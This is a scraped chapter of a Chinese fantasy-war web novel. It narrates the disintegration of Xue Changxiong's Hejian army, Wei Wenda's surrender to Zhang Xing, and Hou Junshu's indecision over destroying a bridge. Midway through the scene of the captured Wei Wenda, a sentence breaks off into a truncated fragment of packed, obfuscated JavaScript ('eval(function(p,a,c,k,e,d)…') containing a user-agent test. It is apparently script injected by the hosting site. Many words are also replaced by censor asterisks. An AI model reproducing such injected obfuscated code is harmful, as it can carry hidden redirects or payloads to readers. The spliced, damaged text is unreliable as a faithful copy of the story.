确实,无论如何,眼前之人正是对此次黜龙军北伐胜负最有发言权的那个。 他说十拿九稳,那就应该是十拿九稳了。 “所以无论如何,河间都是稳的了?”魏玄定点点头,本想继续来问,但心中莫名一转,话到嘴边又溜开,只说了句闲话。“可要是这么说,首席也是真能忍得住。” “就是因为能忍住,才会有十拿九稳。”陈斌幽幽道。“我现在看出来了……争天下,一个是兼并扩张,就是首席说的滚雪球,越滚越大,地盘大、人多,就更强更厉害;另一个则是不能犯错,犯大错,内政外交,职事修为,文书武力、财帛人心,千头万绪,哪个都是关键,而只要有一个关键坏了事,雪球也就散了。” 话到这里,陈斌忽然冷笑一声,然后正经看了魏玄定一眼:“这事上,首席是个正例,好像天生晓得**夺天下一般,薛常雄就是个反例,乱世的关键他天生的什么都不成!” “我之前就想着,陈总管应该是在想河间的故人。”发现没绕过去的魏玄定叹了口气。“还想避开的。” “到底是多年故旧。” “必死无疑吗?”魏玄定忍不住继续来问。“真不会被大势压倒,顺水推舟吗?多少英雄豪杰不都也是如此?” “之前我跟窦龙头有争议,我觉得薛常雄一定是诈降,他觉得河间大营一定是真降……现在想想,其实我俩没有冲突,因为河间大营是河间大营,薛常雄是薛常雄。”陈斌面色复杂。“他这一次,一定是众叛亲离,也一定是宁死不低头……我可是太晓得他了。” “原来如此。”魏玄定状若信服,心中却不置可否……不止是心里不大信,也是忽然又觉得,只要晓得前方稳胜就行,薛常雄生死何足轻重的意思。 “只不过,我心里也晓得,首席这般堂而皇之的连番败他,按照他的性格,心里八成已经服了。”倒是陈斌,事到如今,有些话不说出来心里也不能痛快。“他本可折服于首席,认下黜龙帮的,这样最少落得一个平安渡过乱世,却因为还有一个我,所以低不下头,以至于立身河间,前不能渡,后不能渡,最后只能身死他乡……不免有些感慨。” “原来如此。”魏玄定是来劝。“可若是此人是个放不下的,便是没有陈总管,说不得也会因为窦龙头放不下的……何必非要往自己身上来挂呢?” “我如何不晓得呢?”陈斌终于也忍不住深吸了一口气来。“我怎么想,都怎么觉得他是自寻死路,活该有此一死!不说别的,只为他一人执拗,一人不能低头,总会有千百人甚至更多人为他而死,只此一事,他也死而无屈!唯独人非草木,晓得归晓得,却始终心不能平……” 魏玄定终于不说话了,他明白,薛常雄生死定论的消息传来之前,这位总管是不可能平复的。 另一边,薛常雄早已经来到了城南四五里外的军营内,然后开始**了……城南不过四五千人,两个郎将都是河北本地人,却只有一个凝丹,正站在薛常雄身侧瑟瑟发抖……满营上下,对上宗师之威、总管之权,竟是俯首帖耳,再不敢言。 杀了足足三十多个鼓噪之人后,薛常雄终于开口:“全营开拔,现在就出发,先入城中,寻慕容将军指派队列,准备渡河。” 两名郎将立即下拜,口称遵命,然后即刻组织部队先行入城归入北渡序列,不敢有半点懈怠。 而薛常雄也立即起身离开,却没有入城,而是转向城东……没错,就在刚刚**的空隙,城东那边也出了点乱子,而考虑到城东不过只有两三千人,自然也是手到擒来。 也就是薛常雄动身没多久,数骑便飞驰到城西大营。 城西大营的光景就与他处不同了,首先是博陵、信都两郡都在河间西面,部队天然汇集至此;其次是原本方案中,黜龙军自西南面而来,所以不管是防备还是方便改编,此处兵力都足称雄厚。 实际上,城西的营地里,兵马数量足足过万,对应的,此处将佐也是最多的,来源也最驳杂。 这种情况下,这些人留意薛常雄的反应和动向,也属于常理之中。 回到眼下,数骑来到城西大营,分散而去,其中两骑则直奔此营中军处,来到一面高字大旗前一起下马,然后一个往夯土将台上走,一个往将台后面的中军帐中来走。 很快,一名年轻将领从中军帐中走出来,上了将台,阳光一照,才看到他面色铁青。 “叔父,总管真要背信弃义,去偷袭人家吗?”年轻将领来到将台上寻到一人,明显言辞失控。 “总管过不了那个坎。”将台上立着的大将,正是如今的幽州军第三号人物高湛。 高湛一开始就是河间大营的重要人物,窦丕战死、河间军大举征募河北本地士卒后,地位就更是明显……如今自然是西营的主心骨。 至于喊他叔父的,也不是姓高的,而是一个姓铁的,唤作铁子成,乃是高湛妻族在信都的世交子弟,如今也是一个郎将,被高湛用作心腹使用。 “这个坎那个坎,什么大丈夫生于世间……谁不知道他就是拉不下脸对上陈司马?!”铁子成一口戳破。 高湛沉默了一下,正色更正:“不管如何,那件事是陈司马做的不妥当……” “我不以为然。”铁子成扭过头去。“陈司马那事,到底是他薛大将军处事狠戾,行事不公!” 高湛叹了口气:“上下尊卑摆在那里,当时陈司马是臣,总管是君,以臣悖君,怎么都是臣的过……” 铁子成闻言狞笑一声:“便是退一万步说,是陈司马叛了他,他拉不下脸,可为何要拉着我们河北人与他送命?!” 这一次高湛没有驳斥,而是沉默以对。 “叔父。”铁子成见状进一步言道。“陈斌过去,就是执掌太阿的南衙相公,王伏贝过去,也能靠军功升到大头领,冯公也是行台副贰领太守……我不是说叔父你去了就如何,但无论如何都能讲人家张首席是个有度量、用人不计出身的人吧?无论如何,咱们到了邺城,总不是无根之木无源之水吧?以你在河北本地的根基和威望,保底也是王伏贝那种军将,往上则是上无止境的,何必在这里为这位总管吊死?” “子成。”高湛认真听完,终于开口。“我晓得因为冯公的缘故,你与黜龙帮接触良多,也晓得你的一些道理,大局如此,我是不会强做遮掩的……可现在的问题在于,凡事不止要讲前途还要讲眼下,不止要讲利害还要讲成败……一则,薛公金刀在手,想要鱼死网破,而我们若要强为,怕是反而就做了那张网;二则,无论如何,他对我有知遇之恩。” “可要是不作为。”铁子成同样言辞恳切。“咱们这张网就不怕会被黜龙军拆了吗?眼下这个军心,就算是渡河,怕也是一哄而散吧?而且到时候只要与黜龙帮交了刀兵,大头领、头领的待遇没了倒也罢,怕只怕黜龙帮律令十一抽杀下来,兄弟们未必会恨黜龙帮,也寻不到薛常雄来恨,反而只会恨咱们!叔父只考虑姓薛的与你知遇之恩,不管袍泽之情、同乡之谊吗?” 高湛终于动容,方欲说些什么,忽然一愣,却是立即下了将台,往中军辕门而去。 铁子成也肃然起来,然后立即扶刀跟上,因为早晨明晃晃的阳光下他亲眼看到数骑直直从东南侧往中军这里驰来,而且沿途辕门哨位皆没有阻挡。 片刻后,薛常雄打马来到中军辕门,却并不下马,但也制止了高湛的进一步行礼:“高将军,为何西大营还不启动?” 高湛立在马下,低头束手相对:“不瞒总管,之前上下都以为是要降服黜龙帮,今日忽然又下令要反扑,自然人心**,尤其是西大营这里还有许多信都人,他们家乡都被黜龙军占领,更加不安。” 薛常雄面无表情:“所以无法出兵?” 高湛一惊,便要抬头说话。 “那你告诉我,到底是谁阻碍出兵?”薛常雄忽然有些不耐起来。“将领中可有这般人?” 高湛一愣,终于抬头去看对方,却没有开口。 二人对视一番,薛常雄忽然一笑:“没有吗?” “总管,我立即催动部队启程向北。”高湛肃然道。“请不要株连无辜……须知,便是有人稍有不满,也是人之常情。” “人情是人情,军事是军事。”薛常雄点点头,语义却明显不置可否。“不管如何,马上出发,一个时辰内必须全渡!” “总管。”高湛倒是咬紧了牙关。“我只能尽力催动,能不能全渡,是要看浮桥状况,看部队顺序,看黜龙军是否阻击的……直接一个时辰的军令,我没法接。” 薛常雄再度笑了一笑,也用真气,就在马上侧身按了下对方肩窝:“老高,你告诉那些个不安分的将领,到了登堂**这个地步,不论敌我,是要讲究一些的……尤其是黜龙帮现在有了大行台,张行不王而王,心思也跟以往不一样了,若是有人临阵背反,引得咱们自相残杀,便是侥幸逃过我手,到了黜龙帮也要被人看不起的;反过来,若是能做个善始善终的忠臣,便是临阵被俘,也能堂堂正正的再站起来……你说是不是?!” 高湛点点头,依旧梗着脖子:“大将军所言极是,但一个时辰的军令,我没法接!” 薛常雄叹了口气,似乎有些无奈,又似乎是有些不耐。 就在此时,一直在后面几步距离低着头铁子成忽然抬头:“总管,末将有话说。” 薛常雄立即越过高湛看向了对方。 “不瞒总管,西大营这里,最不安的其实便是末部,末将来这里就是寻高将军求情,而刚刚高将军所言,其实也都只是在回护末将……末将愿意仿效南营两部,引本部兵马入城,随从总管中军渡河。”铁子成话到这里,似乎有些气虚。“没了末将这一部,想来西大营这里也会安泰不少,渡河也会从速的……倒是中军那里,稍显臃肿。” 薛常雄仔细看了铁子成几眼,然后目光落在表情复杂的高湛身上,最终点点头:“那就这样吧!前军应该已经快到河畔了,你部一入城,咱们就正式渡河!” 然后,便打马而回。 竟是全程都未下马。 宗师之威摆在这里,铁子成不敢作假,对方一走他便回营催促部队了,只说要入城领赏……而不待部队出发,其人复又打马折回中军来见高湛。 “叔父,我要入城了,现在有几句话,请你务必思量。”铁子成表情严肃,然后不待对方回应便直接在马上说了出来。“其一,大局摆在这里,河北都是黜龙帮的,你一定不要心存侥幸; “其二,你念人家的恩义,人家还要疑你呢,不值得; “其三,我确实看出来了,高层军官,都畏惧他的宗师之威,我刚才也是汗流浃背,所以咱们要换个法子……叔父,我有个计策,反正黜龙军主力在滹沱河北,咱们不要存心控制军队了,待会不是要渡河吗?西营这里是要先向西去七里井那个路口再往北的,就在那个路口,你直接下令全军解散回家,无论官兵一起散开,薛常雄便是神仙也收不回来,而黜龙帮晓得事情原委也一定会记住咱们功劳的!” 高湛愣了一愣,没有吭声。 而铁子成不敢多留,复又打马回营,很快就往已经人满为患的河间城中去了。 又过了好一阵子,太阳开始微微偏南,河间城内外开始全面的活动起来: 城南小营的部队开始入城; 而西大营的部队也开始启动——铁子成领着两三千人往城内去,而高湛则监督剩下的七八千人准备启程往西面的七里井走……当然,军营庞大,七里井距离河间城七里,距离西面军营只有两三里,所以只是理论上顺着道路出门向西一下再北拐罢了; 在薛万年的带领下,河间城内的部队也开始出城向北去; 早已经等在滹沱河畔的窦濡更是都督本部作为先锋开始渡河。 与此同时,并不知道河间大营已经完全动起来的张行张首席则进入到了理论上算是河间军投射范围内的高阳城,这里有一件事情,或者说是一个人,一个只有他能决断处置的人,正在等他。 魏文达全身狼藉,甲胄被剥,左臂全是血,右腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而张行也终于将目光放在了认真来听这小小插曲的魏文达身上:“魏将军,久仰大名。” 魏文达抬起头起来,看着对方,也只能点点头:“我这里也是久仰大名。” 语气倒还妥当。 “魏将军,你也看到了,局势就是这个局势,天王该说的恐怕也都说了,所以咱们相互都痛快一些,我先说几句话,你再给答复,都不矫情,如何?”张行点点头,便接着来问。 “请讲。”魏文达一声叹气。 “其一,你若降,自然是大头领,继续领兵,来大行台也行,或者幽州再起个行台,你也适合做副指挥。”张行言之凿凿,俨然来的路上已经思虑充足。“其二,你若降,只是你一人之降,不应该牵扯到其他人……换句话说,幽州上下谁的生死与你无关,请你不要求情,让我们难办,我们也不会因为你的求情就网开一面,弃置律法的。” 话到这里,不止是魏文达明显一愣,院中许多人都有些惊讶,雄伯南更是有些紧张起来。 “你觉得如何?”张行话到这里,直接催促。“降还是不降?” 魏文达似乎是没从对方那个第二条回过神来,一时没有直接回答。 而也就是迟疑片刻,其人将要开口时,张首席复又打断了对方:“魏将军且等一下,我刚刚还在犹疑要不要跟你说一个事情……你知道我为什么这么慢入城吗?” “我如何晓得?”魏文达语气已经不善了。 “我在看蚂蚁。”张行言辞诚恳。 雄伯南忍不住想插嘴,却硬生生咽下,而白有思、牛河两位则与李定一样,饶有兴致的看向了张行,只徐大郎面无表情,马围丝毫不关心。 “张首席的意思是说,我们这些狼狈而逃的幽州人就好像你脚下的蚂蚁,无足轻重,可以随意拿捏了?”魏文达终于大怒。 “是如此,也非是如此。”张行幽幽一叹,看着对方认真解释。“我一开始的确是觉得这一仗太轻松,幽州军、河间军真若是蚂蚁;但转念一想,我若视幽州军、河间军为蚂蚁,三辉四御在天上看着,会不会也觉得我跟黜龙军是蚂蚁呢? “魏将军,天地不仁,以万物为刍狗,你是宗师也好,我是首席也罢,都也只是一个人罢了,不去赶路,就不能到地方;不去做事,就不能成业绩。 “魏将军,黜龙帮里有人亲身经历过大宗师之死,虽与常人稍异,可也是如灯灭,如雾散,然后万事皆空。你今日一死以求一个名头倒是容易,但想再见暮春三月,河北染绿;见杂花生树,群雁北归;见城头旗鼓变幻,感平生经历,或哀或喜,乃至于替罗氏父子做个祭奠,哭一场,恐怕都无了。 “魏将军,人生天地间,如花开春时,若不自惜,何望他人怜?张某言尽于此,请魏将军给个答复。” 魏文达早被说的心神震动,此时又被逼迫,抬头去看,正见到故人雄伯南来看自己,满脸希冀,到底是长叹一口气:“请首席遣人送我往邺城安置,省得在前线于心不忍。” 院中众人闻得此言,虽晓得魏文达此时心情扭捏,也被张首席之前言语煽动,但晓得帮里又多了一位宗师,也是各自震动,忍不住喜上眉梢。 同一时刻,高湛一马当先,带领部众来到了七里井的路口上,然后忽然勒马。 其人身前,已经有些许部队转过弯去,身后是两三里的队列,而且还有部队在源源不断从营寨里出来,但应该也不多了。 而高湛迟疑了一下,但也仅仅是迟疑了一下,忽然用上真气,扬声开口:“诸位兄弟,当兵吃粮,总管让我们去打黜龙军,我无话可说,但是却不能连累无辜……军中有信都郡的出身,现在直接向西回家去吧!万事我来担待!” 周围军士一开始根本没有意识到发生什么,只有正好经过路过的寥寥百人听得清楚,也都一时不敢置信。 但很快,就有一名不知道是真想家还是高湛提前安排的心腹,忽然发了一声喊,重复了高湛的言语,便弃了队列,直接离开……甲胄还在车上,**直接扔下,就往西面官道上狂奔而去。 就好像火苗点燃了草堆,又好像水流渗透了堤坝,接下来,正好在路口的河间军如梦方醒,队形瞬间溃散,数不清的人在意识到发生了什么后立即丢下武器,往三面的官道、田野中散开。 而按照这个架势,怎么可能只是信都郡出身的军士奉命离开,几乎所有人全都逃了。 军中其余将佐,此时都在各自队列中,见到这个状况有心来问,却不敢轻易离队。 而待到部队勉强行到前面的路口时,则宛若水流到了决堤口一般,直接就散了,将佐们去问立在那里的高湛,得到答复后,各自面色惨白,却无人阻止,也无人讨论。 这下子,决堤的口子越来越大。 甚至有后军看到前方**,哪怕不知道主将的逃散军令,也都直接从侧后方往南面田野中逃窜离开。 眼瞅着逃散的区域瞬间扩展到了营区,措手不及的始作俑者高湛叹了口气,再度下达了一个命令:“你们也走吧!省的总管迁怒,我一人留在这里就行了!” 周围将佐面面相觑,有人不顾一切加入到了逃散的洪流中去,有人迟疑片刻,招呼了几名心腹,打马而走,不是没有人想留下,但当此局面,又被高湛催促一下,却也是咬牙逃了。 一时间,整个河间西大营的部队都陷入到了流散之中,只有高湛一人盔甲俱全,立在七里井官道路口一旁的树下,岿然不动。 哪怕是很快又一个金晃晃太阳出现在了河间城的上空,他也没有回头去看。 薛常雄在空中,亲眼目睹自己军中小三分之一的兵力如水泼出去一般,在旷野之中四散而去,饶是他早有心理准备,也不禁骇然一时,然后惊呆在了空中。 就连他那身辉光真气所显化的明晃晃太阳,似乎都冷了下来。 他真知道部队不稳,真知道一定会闹出哗变之类的乱子,但从来没想到,一支成建制的部队,忽然间就这么逃散了,而且是散得这么快! 也就是活生生的人,真要是七八千头猪,怕是都一时散不开! 片刻后,这轮太阳再度落了下来,并且立即寻到刚刚出城的幼子薛万全做出了一个相当正确的军令:“老七,西大营的人逃散了,你部既出城后,不要着急向北,往西面列队封锁住路线,不要让逃散的人越过来,更不要让向北的部队逃散过去……” 薛万全当仁不让,接了军令,匆匆指挥刚刚出城的部队向西移动。 而薛常雄则是立即回城,来寻慕容正言。 “总管,怎么回事?”慕容正言虽然已经猜到几分,却还是惶然。 “西大营哗变逃窜了。”薛常雄此时强压震动,努力来言。“慕容将军,你应该晓得我留你在河间城,还将不稳的部众送进来是什么意思吧?” “早就想到了。”慕容正言也强压种种,努力来言。“总管是晓得这些人没法用,也不准备用,留给我让我在黜龙帮那里有个本钱,而自家却准备一去不复返了……属下惭愧。” 话到最后,终究还是压不住心中翻腾,一时落泪。 薛常雄本想说些什么,但到了这个时候,也是一时无言,许久才努力道:“陈斌之后,我也晓得自己为人为事的不足,本想不能再负了你,可到头来还是要闹笑话……慕容将军,我去西面看一看,如果还能压得住局势,你就继续锁着三道门,留着城内兵马与黜龙帮做交代;若是西大营根本没法阻拦,那就是人心到一定份上了,你就等我带本部和子侄各部走了,把几道门打开,让他们也散了就是,省的把怨气撒在你身上。” “总管,真不能降吗?”慕容正言听到这里,眼泪扑簌不能止,只能尽最后言语以作挽留。 薛常雄再度沉默了一阵子,艰难来答:“自古艰难唯一死,可让我去对陈斌低头,哪怕只是过一场,却也比死都难。” 说着,到底是甩开对方,高高飞到空中。 而只是在空中一扫,这位金刀宗师却又有些摇摇欲坠起来——无他,非单身西大营的部队逃得飞快,散得极开,便是他让自家儿子带领着做隔离的亲信部队,居然因为向西面移动,目睹了大逃散,然后也跟着逃散起来。 远远望去,自家幼子努力打马前后呵斥,却根本挡不住溃散之势。 其人无奈,只能放弃往西面七里井一行,转向自家儿子处,稍作震慑……然而,便是“太阳”移动到了头顶,居然都挡不住部队的离散。 落下地来,更有薛万全满脸惶恐迎上。 如果说,薛常雄本人对这个局面还是有些心理准备的话,只是惊讶于局势的快与不可阻挡,那薛万全就是完全崩溃了,之前多么有信心,现在就多么沮丧。 “不用管这些了,尽力拖延他们离散。”薛常雄虽然心中苦涩,却也接受的快。“能向北多少部队就多少部队,待会你单身来寻我就好。” 薛万全张口欲言,却只是喏喏无声。 薛常雄不再理会,径直转身飞来城北官道上,这个时候他便注意到,连已经踏上向北道路的部队也开始不稳了,便又对刚刚出城的侄子薛万备下令:“部队放缓一些,不要跟前面部队连在一起……若是他们也动摇了,就让他们散去!” 薛万备此时已经晓得西大营逃散以及全城不稳了,但还是对薛常雄的悲观感到震动,以至于不解:“以伯父的修为,连当面路上的部队都不能**吗?” 薛常雄刚要言语,却又看向了北面。 很快,最先出发的三子薛万年连续腾跃了过来,落地以后,面色苍白,张口便问:“父亲晓得局势了吗?” 薛常雄无奈,只能应声:“自然!事到如今,多想无益,咱们能带多少兵马就带多少渡河去,与黜龙军决一死战便是!若事败,就一起向北,往幽州落脚!” 薛万年听到前两个字还松了半口气,可听到后面一句话登时心乱跳了起来,然后赶紧打断对方:“不是这个……父亲莫非不知道,窦濡那厮小人做派,居然渡河后拆了浮桥吗?如今咱们一支兵一队将也带不过河去!这厮不想着父仇了吗?如何会是他反?!” 薛常雄一愣,片刻后,却在薛万备与薛万年的慌乱中笑了一笑:“如此,倒也罢了!” 薛万备和薛万年各自一愣,心中都升起一个不好却又有些希冀的念头。 “我一人去就好。”果然,薛常雄一字一顿道。“尔等各寻生路去吧!若能见到你们兄长万论,只说为父死矣!” 一言既出,金光腾起,向北面而去,只是空中未远,便显化出一柄金刀,一往无前。 而至于此,五六载河间大营,一败涂地,一朝哄散。 PS:感谢谖兮Hilla与金枪匠卢梭两位老爷的上盟……感激不尽。 第五十三章 千里行(7) 滹沱河北岸,黜龙军暂时还不晓得在河北独立横行了五年、做了自家对手三年,甚至理论上就是黜龙帮主要对手的河间军已经自行崩溃了,而且是历史终结的那种崩溃。 但知道了,也就是知道了。 他们现在很疲惫,大部分部队都是连夜作战,只是在昨天傍晚或者今天早上被强制着要求稍微休整了一些,与此同时,幽州军的溃兵就在眼前,溃兵片刻不停,黜龙军也不能停。 非但不能停,还要维持战线,确保几十里的宽度上部队连成一片;还要有精锐突击部队,有主力战团外加多波次的推进序列,来应对可能的军事冲击;还要见缝插针的饮水、吃饭;还要沿途收拾双方的伤兵、看管俘虏;还要安抚很多来不及逃散或者已经逃散在河沟树林里的当地百姓。 哪有时间关心河对岸的事情? 实际上,后面几件事,黜龙军做的很不好……太乱了,也太累了,这种情况下能按照军令一路北上就不错了,哪里能安顿好老百姓跟俘虏? 能留下几十个轻伤员组织一下就地安顿或者往家走已经算尽力了。 而且,进入城寨时,基于粮秣与防护的顺手牵羊也是免不了的,也没法处置……一则是幽州军军纪堪忧,基本上就地征用的,所以黜龙军再来时就说不清楚这些东西是老百姓的还是从幽州军那里缴获的了;二则,这是战斗进行时,哪怕是给老乡留个字条都不是现在该做的。 “首席,前方芒大头领来报,与当面之敌激战后,他右翼的苏靖方营莫名失去踪迹。” “告诉莽金刚,不用管苏靖方,是我告诉的那小子,若是前方空虚,就尽量往前插!后面樊梨花会补上战线!” “是,龙头。” “龙头,苏睦头领来问你,他前方半点敌人都无,能否向东靠拢。” “不可以。” “……是,是。” “首席,马分管让人转告,据说是后面有两股幽州军的俘虏反了,杀了我们的人和我们指派的本地监管!” “徐大郎与马分管怎么处置的?” “回禀李龙头,徐副指挥不在,马分管下令,前军不管,两处**的俘虏就近交给西南面单龙头诸营与东南面的龙头直属营以及张分管营,让他们速速追上,如若捕获,格杀勿论;如若遇不见就不用管,先向北!到徐水再说!” “好!马围是个有决断的!徐大郎去了何处?” “来时徐副指挥往北面去了,说是前面官道上有几个营抢路。” “胡闹!”院中的李定勃然大怒,回头便与坐在那里闭目养神的张行商议。“如何,我们也动起来?不然不知道前军会闹出什么事来!” “走吧!”之前一直没怎么开口的张行站起身来,复又看向了白有思、牛河几人。“咱们都走,得压上去!” 白有思等人自然无言,战略和战术上的双重出其不意,外加实力全方位碾压,导致这一战打的异常顺利,但若能北上全灭幽州军主力再擒获罗氏父子,整个河北也就是时间问题了……怎么可能在这个时候泄气? “现在应该没什么遗漏了吧?”临动身前,李定忽然发问,却又问的奇怪,毕竟,徐大郎和马围不在,这话本该张行来问他才对。 而不管如何,对方既问出口,张行也只好来答:“俘虏不足虑,他们没了兵甲也不晓得战况如何,其实没有太大威胁,于我们来说此时杀了还费力气……这样的话就还有三处能影响此战结局的了……一个是侯君束那里能否及时断了桥;另一个是罗术父子会不会及时果断放弃这里的战局北走;最后一个是薛常雄到底什么时候来?来多少人?怎么来?” “这三个莫不都是听天由命的事情?”牛河负手插嘴道。“也轮不到我们插手吧?” “有一个不是,薛常雄到底是宗师,不管何时来,总要防备一二的。”张行若有所思。“思思走一趟滹沱河如何?” “可以。”白有思即刻答应。“你们跟牛公往北走……我去遮护十娘和张公慎那两个营,以防万一,而若薛常雄不至,我就跟十娘他们一起来……雄天王那里也是,让他送魏文达到地方后立即折回,中途跟我这里相互支应。” “那就这么来,立即出发。”李定反过来催促一声,然后第一个走出了院子。 随即,白有思腾空而起,却殊无真气波动,张行也立即带领许多歇在这里的参谋文书一起起身离开……这一幕发生在高阳城内的战间讨论与决断不可称之为不干脆,也不可称之为不妥当。 但不知为何,落在最后的牛河望着这一幕,却莫名觉得有些怪异……作为曾经的长辈与上司,外加宗师之身,他其实是可以用一种特殊的视角和身份来旁观一些事情的,譬如说眼前这三人这次的讨论,如何是张行来思,李定来行,白有思来定? 这不是乱套了吗? 只是因为李定第一次执掌这么大的战事,有些慌乱? 当然,事情本身只是插曲,牛督公的想法更是插曲中的插曲,根本不影响整体战局发展,随着黜龙军中枢指挥部不断发挥作用,原本就在流动中的黜龙军不停地做出调整,然后继续向北面扑杀过去。 而也就是这个时候,被认为是关键之一的侯君束已经拼命驰到了徐水。 夜里过了高阳,清晨绕过了鄚县,此时抵达徐水,而到了徐水之后,不出所料,侯君束开始迟疑起来了……顺着徐水上上下下的查探了几趟,确定了几座浮桥的位置,然后就一直在沿着河道往复徘徊。 心思不难猜,那张首席是给了一条路,却是一条比较难走的路,真按照张首席的意思来做,便是一切顺利,他侯君束到了黜龙帮也不过是一个头领,而且是一个有着背主之名的头领,将来再走下去,前途也不是多么敞亮。 甚至,这都不是他第一次背主,当日他作为贺兰氏的门客,在主家**的情况下投靠了罗术,占了贺兰氏的位置入了幽州,就已经很招人嫌了,再来一次,岂不是三姓家奴? 谁还能看的起他? 除此之外,侯君束本人是有个终极志向的,那便是兴复侯氏,重新坐回祖父柳城公的位置。 而按照黜龙帮的规制,便是真要将来在柳城留个附庸,也不可能是他侯君束一个降人头领来做这个附庸,因为人家张首席本就是北地人,黜龙帮更是群英荟萃,根本不缺这个填坑的萝卜。 更不要说,这一战,幽州军如果能及时撤退,说不得还有生路……毕竟,河间才是黜龙军第一目标,此时打幽州军本意上还是为了打河间;至于幽州,燕山南侧四郡人口稠密、城池繁多,北侧七八个郡都是如安乐那种一城、两城的小郡,却个个地形险要,盘踞着许多本土势力……真要啃,未必那么容易下口。 然而,无论怎么想,怎么分辨利害,侯君束始终都要面对两件事: 第一件,正是他刚刚与张行的**,彼时齐红山之死如鸿**,张行之言之凿凿,自己之心惊肉跳,须都做不得假;第二件,则是黜龙军昨夜全军突袭过来,这一手简直如羚羊挂角,轻易将原本设想中势均力敌之决战化为对幽州军的追亡逐北……幽州军甚至没有正面对决的机会,就变成眼下这个局面了。 换句话说,侯君束必须要考虑黜龙军大获全胜的结果,考虑黜龙军这一役就横扫河北的结果,考虑自己不能履约,面对张首席的雷霆之怒的结果! “侯将军!”走了一阵子,一旁的高副将忍不住来问。“咱们是要干什么?若要逃,现在就过徐水,若要战,回去到鄚县寻总管军令……为何反而在河道上往来不停啊?” 侯君束闻言陡然勒马,然后就是仰天一声长叹,再低头说话时,眼泪已经下来了:“高将军,你不懂,我被人逼到河边了!” 高副将目瞪口呆,只能讪讪来问:“何事如此?谁逼的你?” “还能是谁?自然是咱们总管!”侯君束面色通红,眼泪涟涟,声音似乎压低,却也足以让周围几个人都听得清楚。“你刚刚没看到,刚刚路过鄚县的时候,总管遣一位十八骑出身的心腹出来拦住了我,给我传了一个军令……说是可以不追究我败军之罪,却要我来拆掉浮桥,他才好在鄚县**起全军,背水一战!” 高副将一愣,不免觉得奇怪:“这种事情,总管为何要侯将军来做?直接遣一位义兄弟不就行了?” 侯君束连连摇头:“你不晓得,这种事情若是让他心腹来做,便是让整个幽州上下都知道是他本人决意断的桥,怨恨也都在他身上,而以他的为人,如何会这般做?而偏偏我是个命苦的,是贺兰氏的余孽,得他开恩才启用的,如今自然是不用白不用,用了之后,便是回到幽州,也是要拿我做虎子,摔给大家泄气的!” 高副将听到这里,倒是信了七分,毕竟,做这种事情,肯定是要被千人指、万人骂的,而从侯君束这里说开,也的确有些被人拿捏到动弹不得的苦衷。 更重要的是,侯君束这个表情与动作,怎么看怎么不像是装的,真的是被人拿捏住了好不好? 一念至此,其人稍作迟疑,也隐晦的表达了态度:“侯将军,黜龙贼大举渡河,杀我们措手不及,而夜间又混乱,路过鄚县的时候刚刚天亮,总管在后面对局势有些误判也属寻常……可我们呢,乃是亲身从齐将军那里过来的,总该晓得人家厉害吧?那雄天王的大旗是假的吗?一压下来,如旋风扫地。若这般再来两次,魏将军又抵挡不得,今日就要一败涂地了!那敢问四五万人若没个退路,便是这徐水再浅,也能淹**吧?” 很显然,他们还不晓得雄伯南已经护送着魏文达往南边去了,怕是来不及扫荡他们的,而魏文达也没机会再试着抵挡两回了。 “你说的我如何不懂?”侯君束在马上咬牙切齿。“但现在不是被总管逼上来了吗?怎么做怕都没有好结果!” “大丈夫生于世,又有几百铁骑在手,如何能把自己落得个没好结果?”那高副将扫视了一下明显惴惴的其余几名靠近的骑兵,然后压低声音来道。“要我说,侯将军你不是做过两次使者吗?也算是在那张首席跟前有脸的人,投了黜龙帮又如何?” 轮到侯君束目瞪口呆起来。 半晌,其人方才努力来言:“高副将,你自是幽州本地人,家小都在幽州,如何平白生了反心?况且这里几百骑,也大多是幽州人……” “我不是说我们,我是说侯将军你一个人。”高副将赶紧更正。“侯将军觉得难做,弃了这里,直接趁着乱军往南边投了张首席便是,我们其余人假装没有接到军令,直接从此处渡河回了幽州……至于说侯将军在安乐城的那个小妾,请你放心,我们回去后,立即遣人给送到北地去,等风头过了,侯将军再去寻来……岂不是两全其美?” 侯君束听到对方如此妥当,又见到靠近的几个其余骑士都低头转向的,俨然也是被那雄天王一击之威给吓得存了心思,不由愣住……这,这算个什么事啊?! 就这样,侯君束在几人希冀的目光中沉默了许久,终于还是坚定的摇了头:“不行!罗总管对我有知遇之恩,我是无论如何都不会反的……哪怕他要置我于死地,也要替他做了事情再说!” 高副将几人明显失望。 “好了。”侯君束不敢再装模作样,大手一挥,算是反过来被对方逼着给了一个说法。“以正午为界,不过一个时辰的样子罢了,要是到时候总管他们没有败退过来,那咱们就拆桥!而要是正午之前总管他们就已经逃了,咱们就不拆!现在,全伙到对岸去,准备好点火的东西,谁要是想违逆军令,便是要坏我的性命,须晓得我是个被逼到墙角的人,到时绝不留手!” 高副将等人只觉得倒霉,却也只能随着对方穿过浮桥,到徐水北岸做准备。 侯君束首鼠两端不提,另一边,薛常雄既晓得大势已去,便怀死志,自然一往无前,其人飞到滹沱河上,半空中巨大的金刀便已经振振作响,明明是明媚春光,却居然有雷声作态,以至于隔着七八里远,正在折返的张公慎营与张十娘代领的李定直属营数千将士便都望见、听见这一幕,自然各自心惊。 而更惊的,赫然是刚刚渡河的窦濡! 须知道,跟侯君束不同,窦濡断桥之举纯属临机决断,而且也是趁本部渡后以窦氏亲卫监督动手,部中大部分士卒都是不晓得此事的,少部分参与其中的,也都茫茫然……故此,金刀振振,横过滹沱河上空,窦濡部上下瞬间欢呼雀跃,只以为是总管亲自冲锋在前。 窦濡本人及其部分家族亲卫却是惊骇欲死。 慌张中,窦濡还是有些急智的,其人直接翻滚下马,便来解开披风,置换铠甲。 然而,甲胄这玩意是能轻易换掉的吗?尤其是人家宗师真气外放,行动这般神速。 但是出乎窦濡的意料,那柄数丈长的金刀在空中划过,居然顿都不顿一下,遑论下来寻到他这个叛徒,一刀两断了! 另一边,七八里外,两营黜龙军军士早已经狼狈不堪,他们在严厉的军令下自行散了阵列,然后弃了所有官道小路,只从出苗的田野中散开着往高阳方向逃窜……几乎与败兵无异。 与此同时,却居然都没有放出过多哨骑去求援。 